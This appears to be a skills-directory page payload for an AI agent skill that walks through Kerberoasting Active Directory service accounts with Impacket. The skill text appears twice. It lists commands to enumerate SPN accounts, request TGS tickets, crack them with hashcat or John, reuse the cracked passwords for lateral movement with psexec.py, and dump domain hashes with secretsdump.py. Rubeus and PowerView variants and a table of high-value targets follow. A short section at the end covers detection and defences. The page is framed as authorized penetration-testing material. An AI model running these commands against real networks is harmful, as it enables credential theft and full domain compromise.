[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D8G69HHTNSZYRAZB1XQVC2":3,"skill-same:01M7D8G69HHTNSZYRAZB1XQVC2":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":53,"commitSha":54,"skillDirectory":55,"forksCount":56,"repositoryHtmlUrl":57,"repositoryHomepageUrl":6,"ownerHtmlUrl":58,"ownerBlogUrl":59,"ownerDescription":60,"updatedAt":61,"install":62,"resources":75},"01M7D8G69HHTNSZYRAZB1XQVC2","exploiting-kerberoasting-with-impacket",null,"Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4\u002FAES-encrypted hashes offline to recover service account credentials. Use during authorized Active Directory penetration tests or red-team engagements for credential access against service accounts via Kerberos ticket-granting-service requests.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-kerberoasting-with-impacket\ndescription: >-\n  Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py\n  to request Kerberos TGS tickets for SPN-registered service accounts, then cracks\n  the extracted RC4\u002FAES-encrypted hashes offline to recover service account\n  credentials. Use during authorized Active Directory penetration tests or\n  red-team engagements for credential access against service accounts via\n  Kerberos ticket-granting-service requests.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- kerberoasting\n- impacket\n- active-directory\n- credential-access\n- kerberos\n- t1558-003\n- service-accounts\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Application Protocol Command Analysis\n- Network Isolation\n- Network Traffic Analysis\n- Client-server Payload Profiling\n- Network Traffic Community Deviation\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1003\n---\n\n# Exploiting Kerberoasting with Impacket\n\n## Overview\n\nKerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting kerberoasting with impacket\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Valid domain credentials (any domain user can request TGS tickets)\n- Network access to a Domain Controller (TCP\u002F88 Kerberos, TCP\u002F389 LDAP)\n- Impacket installed (`pip install impacket`)\n- Hashcat or John the Ripper for offline cracking\n- Wordlist (e.g., rockyou.txt, SecLists)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1110.002 | Brute Force: Password Cracking | Credential Access |\n\n## Step 1: Enumerate Kerberoastable Accounts\n\n```bash\n# List all user accounts with SPNs (without requesting tickets)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1\n\n# Output example:\n# ServicePrincipalName          Name        MemberOf                          PasswordLastSet\n# ----------------------------  ----------  --------------------------------  -------------------\n# MSSQLSvc\u002FSQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22\n# HTTP\u002Fweb01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00\n# HOST\u002Fbackup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10\n```\n\n## Step 2: Request TGS Tickets\n\n```bash\n# Request TGS tickets for all Kerberoastable accounts\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Request ticket for a specific SPN\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request-user svc_sql\n\n# Output format (hashcat-compatible):\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc\u002FSQL01.corp.local*$abc123...\n\n# Save to file for cracking\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile kerberoast_hashes.txt\n\n# Using NTLM hash instead of password (Pass-the-Hash)\nGetUserSPNs.py corp.local\u002Fjsmith -hashes :aad3b435b51404eeaad3b435b51404ee \\\n  -dc-ip 10.10.10.1 -request -outputfile hashes.txt\n\n# Request AES tickets (if available)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile hashes.txt\n```\n\n## Step 3: Crack TGS Tickets Offline\n\n```bash\n# Hashcat - RC4 encrypted tickets (mode 13100)\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Hashcat - AES-256 encrypted tickets (mode 19700)\nhashcat -m 19700 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# John the Ripper\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt kerberoast_hashes.txt\n\n# Check results\nhashcat -m 13100 kerberoast_hashes.txt --show\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!\n```\n\n## Step 4: Validate and Use Cracked Credentials\n\n```bash\n# Verify cracked credentials\ncrackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local\n\n# Check for local admin access\ncrackmapexec smb 10.10.10.0\u002F24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth\n\n# Use credentials for lateral movement\npsexec.py corp.local\u002Fsvc_sql:'Summer2024!'@SQL01.corp.local\n\n# If service account is Domain Admin\nsecretsdump.py corp.local\u002Fsvc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm\n```\n\n## Alternative Tools\n\n### Rubeus (Windows)\n\n```powershell\n# Kerberoast all accounts\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# Target specific user\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_hash.txt\n\n# Request RC4-only tickets (easier to crack)\n.\\Rubeus.exe kerberoast \u002Ftgtdeleg \u002Foutfile:hashes.txt\n\n# Kerberoast with AES\n.\\Rubeus.exe kerberoast \u002Faes \u002Foutfile:hashes.txt\n```\n\n### PowerView (PowerShell)\n\n```powershell\nImport-Module .\\PowerView.ps1\nInvoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt\n```\n\n## Targeted Kerberoasting\n\nHigh-value targets for Kerberoasting:\n\n| Account Type | Why | Risk |\n|---|---|---|\n| Service accounts in Domain Admins | Direct path to domain compromise | Critical |\n| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |\n| Exchange service accounts | Access to all email | High |\n| Accounts with AdminCount=1 | Previously\u002Fcurrently privileged | High |\n| Accounts with old passwords | More likely to use weak passwords | Medium |\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4769 - Kerberos Service Ticket Request\n- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected\n- Monitor for: Single user requesting many TGS tickets in short period\n- Monitor for: Service ticket requests from unusual source IPs\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Potential Kerberoasting Activity\nstatus: stable\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4769\n        TicketEncryptionType: '0x17'  # RC4\n        ServiceName|endswith: '$'\n    filter:\n        ServiceName: 'krbtgt'\n    condition: selection and not filter\nlevel: medium\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n```\n\n## Defensive Recommendations\n\n1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated\n2. **Set strong passwords (25+ chars)** on all service accounts\n3. **Enable AES-only encryption** - Disable RC4 via GPO\n4. **Monitor Event ID 4769** for RC4 TGS requests\n5. **Implement Managed Service Accounts** where gMSA is not feasible\n6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts\n7. **Protected Users group** - Add sensitive service accounts\n8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks\n\n## References\n\n- MITRE ATT&CK T1558.003: https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1558\u002F003\u002F\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Harmj0y's Kerberoasting Revisited: https:\u002F\u002Fposts.specterops.io\u002Fkerberoasting-revisited-d434351bd4d1\n- Detection Strategy DET0157: https:\u002F\u002Fattack.mitre.org\u002Fdetectionstrategies\u002FDET0157\u002F\n","# Exploiting Kerberoasting with Impacket\n\n## Overview\n\nKerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting kerberoasting with impacket\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Valid domain credentials (any domain user can request TGS tickets)\n- Network access to a Domain Controller (TCP\u002F88 Kerberos, TCP\u002F389 LDAP)\n- Impacket installed (`pip install impacket`)\n- Hashcat or John the Ripper for offline cracking\n- Wordlist (e.g., rockyou.txt, SecLists)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1110.002 | Brute Force: Password Cracking | Credential Access |\n\n## Step 1: Enumerate Kerberoastable Accounts\n\n```bash\n# List all user accounts with SPNs (without requesting tickets)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1\n\n# Output example:\n# ServicePrincipalName          Name        MemberOf                          PasswordLastSet\n# ----------------------------  ----------  --------------------------------  -------------------\n# MSSQLSvc\u002FSQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22\n# HTTP\u002Fweb01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00\n# HOST\u002Fbackup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10\n```\n\n## Step 2: Request TGS Tickets\n\n```bash\n# Request TGS tickets for all Kerberoastable accounts\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Request ticket for a specific SPN\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request-user svc_sql\n\n# Output format (hashcat-compatible):\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc\u002FSQL01.corp.local*$abc123...\n\n# Save to file for cracking\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile kerberoast_hashes.txt\n\n# Using NTLM hash instead of password (Pass-the-Hash)\nGetUserSPNs.py corp.local\u002Fjsmith -hashes :aad3b435b51404eeaad3b435b51404ee \\\n  -dc-ip 10.10.10.1 -request -outputfile hashes.txt\n\n# Request AES tickets (if available)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile hashes.txt\n```\n\n## Step 3: Crack TGS Tickets Offline\n\n```bash\n# Hashcat - RC4 encrypted tickets (mode 13100)\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Hashcat - AES-256 encrypted tickets (mode 19700)\nhashcat -m 19700 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# John the Ripper\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt kerberoast_hashes.txt\n\n# Check results\nhashcat -m 13100 kerberoast_hashes.txt --show\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!\n```\n\n## Step 4: Validate and Use Cracked Credentials\n\n```bash\n# Verify cracked credentials\ncrackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local\n\n# Check for local admin access\ncrackmapexec smb 10.10.10.0\u002F24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth\n\n# Use credentials for lateral movement\npsexec.py corp.local\u002Fsvc_sql:'Summer2024!'@SQL01.corp.local\n\n# If service account is Domain Admin\nsecretsdump.py corp.local\u002Fsvc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm\n```\n\n## Alternative Tools\n\n### Rubeus (Windows)\n\n```powershell\n# Kerberoast all accounts\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# Target specific user\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_hash.txt\n\n# Request RC4-only tickets (easier to crack)\n.\\Rubeus.exe kerberoast \u002Ftgtdeleg \u002Foutfile:hashes.txt\n\n# Kerberoast with AES\n.\\Rubeus.exe kerberoast \u002Faes \u002Foutfile:hashes.txt\n```\n\n### PowerView (PowerShell)\n\n```powershell\nImport-Module .\\PowerView.ps1\nInvoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt\n```\n\n## Targeted Kerberoasting\n\nHigh-value targets for Kerberoasting:\n\n| Account Type | Why | Risk |\n|---|---|---|\n| Service accounts in Domain Admins | Direct path to domain compromise | Critical |\n| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |\n| Exchange service accounts | Access to all email | High |\n| Accounts with AdminCount=1 | Previously\u002Fcurrently privileged | High |\n| Accounts with old passwords | More likely to use weak passwords | Medium |\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4769 - Kerberos Service Ticket Request\n- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected\n- Monitor for: Single user requesting many TGS tickets in short period\n- Monitor for: Service ticket requests from unusual source IPs\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Potential Kerberoasting Activity\nstatus: stable\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4769\n        TicketEncryptionType: '0x17'  # RC4\n        ServiceName|endswith: '$'\n    filter:\n        ServiceName: 'krbtgt'\n    condition: selection and not filter\nlevel: medium\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n```\n\n## Defensive Recommendations\n\n1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated\n2. **Set strong passwords (25+ chars)** on all service accounts\n3. **Enable AES-only encryption** - Disable RC4 via GPO\n4. **Monitor Event ID 4769** for RC4 TGS requests\n5. **Implement Managed Service Accounts** where gMSA is not feasible\n6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts\n7. **Protected Users group** - Add sensitive service accounts\n8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks\n\n## References\n\n- MITRE ATT&CK T1558.003: https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1558\u002F003\u002F\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Harmj0y's Kerberoasting Revisited: https:\u002F\u002Fposts.specterops.io\u002Fkerberoasting-revisited-d434351bd4d1\n- Detection Strategy DET0157: https:\u002F\u002Fattack.mitre.org\u002Fdetectionstrategies\u002FDET0157\u002F\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":40,"description":7,"mitre_attack":41,"d3fend_techniques":47},[26,27,28,29,30,31,32],"kerberoasting","impacket","active-directory","credential-access","kerberos","t1558-003","service-accounts","mahipal","cybersecurity","1.0",[37,38,39],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[42,43,44,45,46],"T1595","T1190","T1059","T1078","T1003",[48,49,50,51,52],"Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":63,"prompt":73,"zipAvailable":74},[64,67,70],{"tool":65,"command":66},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-kerberoasting-with-impacket",{"tool":68,"command":69},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-kerberoasting-with-impacket",{"tool":71,"command":72},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-kerberoasting-with-impacket","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002FSKILL.md",true,[76,82,86,92,96,100,106],{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"assets\u002Ftemplate.md","ASSET","资产文件",2827,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Fassets\u002Ftemplate.md",{"path":83,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":87,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":90,"sourceHtmlUrl":91},"references\u002Fapi-reference.md","REFERENCE","参考文档",2286,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Freferences\u002Fapi-reference.md",{"path":93,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":94,"sourceHtmlUrl":95},"references\u002Fstandards.md",2228,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Freferences\u002Fstandards.md",{"path":97,"resourceType":88,"resourceTypeDesc":89,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fworkflows.md",5445,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Freferences\u002Fworkflows.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",5318,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Fscripts\u002Fagent.py",{"path":107,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fprocess.py",12299,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Fscripts\u002Fprocess.py",[111,119,127,136,143,150],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":115,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":123,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":132,"sourceHtmlUrl":133,"categories":134,"keywords":135,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":142,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":144,"name":145,"nameZh":6,"description":146,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":147,"categories":148,"keywords":149,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":151,"name":152,"nameZh":6,"description":153,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":131,"licenseFileUrl":6,"sourceHtmlUrl":154,"categories":155,"keywords":156,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]